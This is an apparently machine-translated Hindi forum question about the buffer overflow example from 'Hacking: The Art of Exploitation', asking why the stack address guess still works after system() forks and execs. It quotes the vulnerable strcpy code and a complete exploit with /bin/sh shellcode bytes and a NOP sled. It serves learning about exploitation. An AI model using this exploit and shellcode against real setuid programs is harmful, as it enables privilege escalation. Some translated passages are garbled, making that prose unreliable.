मैं इस पुस्तक को आर्ट ऑफ एक्सप्लॉयशन पढ़ रहा था, जो कि थोड़ी अच्छी किताब है और मैं शोषण_notesearch.c फ़ाइल से उस उदाहरण में चलाता हूं।स्पष्टीकरण पुस्तक की कला से बफर ओवरफ़्लो उदाहरण
संक्षेप में लेखक की ओर से notesearch.c
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
मुख्य कार्य के तर्क searchstring सरणी को कॉपी किया है कार्यक्रम से ऊपर जाने का और अगर तर्क 100 बाइट्स से बड़ा है इसे से वापसी पता अतिप्रवाह होगा की कोशिश करता है मुख्य कार्य।
लेखक exploit_notesearch.c में shellcode तैयार करता है और कहता है कमजोर notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
आप देख सकते हैं कि shellcode एनओपी स्लेज के साथ संयुक्त है और वापसी पता है कि एनओपी स्लेज पर ले जाना चाहिए। लेखक संदर्भ के बिंदु के रूप में स्थानीय चर के पते का उपयोग करता है और 270 बाइट्स को इस प्रकार एनओपी स्लेज के अनुमानित स्थान को समझने का प्रयास करता है।
जैसा कि मैं समझता हूं कि लेखक मानता है कि कमजोर नोट्स सीटी से मुख्य फ़ंक्शन का स्टैकफ्रेम उसी स्टैक सेगमेंट में होगा, जो मुख्य समारोह के stackframe exploit_notesearch.c से होगा। मुझे यह लगता है क्योंकि स्थानीय चर के पते के साथ इस तरह से हेरफेर मैं इस तरह काम कर सकता हूं।
लेकिन, लेखक इस प्रणाली (कमांड) की तरह सिस्टम() की मदद से कमजोर नोट्स.c.c कहते हैं। मेरा मुद्दा यह है कि यह फ़ंक्शन सिस्टम() कहीं अंदर फोर्क() का उपयोग करता है ताकि बच्चे की प्रक्रिया को जन्म दिया जा सके और उसके बाद प्रक्रिया की छवि बदलने के लिए exec() फ़ंक्शन का उपयोग किया जा सके। लेकिन अगर छवि बदल दी गई है तो इसका मतलब है कि स्टैक सेगमेंट ताजा होगा और स्थानीय वैरिएबल के पते के साथ उन सभी मैनिप्ल्यूशंस मैं exploit_notesearch.c में मुख्य फ़ंक्शन में बेकार होगा, लेकिन किसी भी तरह से यह उन कार्यों का शोषण करता है जो मेरे लिए पूरी तरह उलझन में हैं।
निकलास उत्तर के लिए धन्यवाद। –
निकलास उत्तर के लिए धन्यवाद। क्या यह माता-पिता और बाल प्रक्रिया के बीच ऑपरेटिंग सिस्टम वर्चुअल मेमोरी आवंटन की एक विशेष संपत्ति है कि बाल प्रक्रिया अनुवांशिक प्रक्रिया के एएसपी में संग्रहीत मूल्य का उपयोग करेगी? मेरा मतलब है कि जब लेखक 270 बाइट्स घटाता है तो वह मानता है कि कमजोर बाल प्रक्रिया का आभासी पता स्टैक सेगमेंट में कम होगा। उदाहरण के लिए, एक मूल प्रक्रिया ने अपना काम और स्टैक सेगमेंट में 0hffff4534 तक उपयोग किया था, क्या बाल प्रक्रिया उस आभासी पते से जारी रहेगी? यदि यह मामला नहीं है, तो क्या कोई अच्छा मैनुअल या ट्यूटोरियल है जो इसे समझा सकता है। अग्रिम धन्यवाद –
यदि आप गलत हैं तो क्या आप मुझे सही कर सकते हैं: जैसा कि मुझे लगता है कि यह शोषण संभव है क्योंकि दोनों प्रक्रियाएं स्टैक सेगमेंट के लिए समान वर्चुअल एड्रेस असाइन करेंगी, लेकिन कमजोर मुख्य फ़ंक्शन को स्थानीय चर के लिए बहुत से बाइट आवंटित करना होगा सर्चस्ट्रिंग हम मान सकते हैं कि यह स्टैक –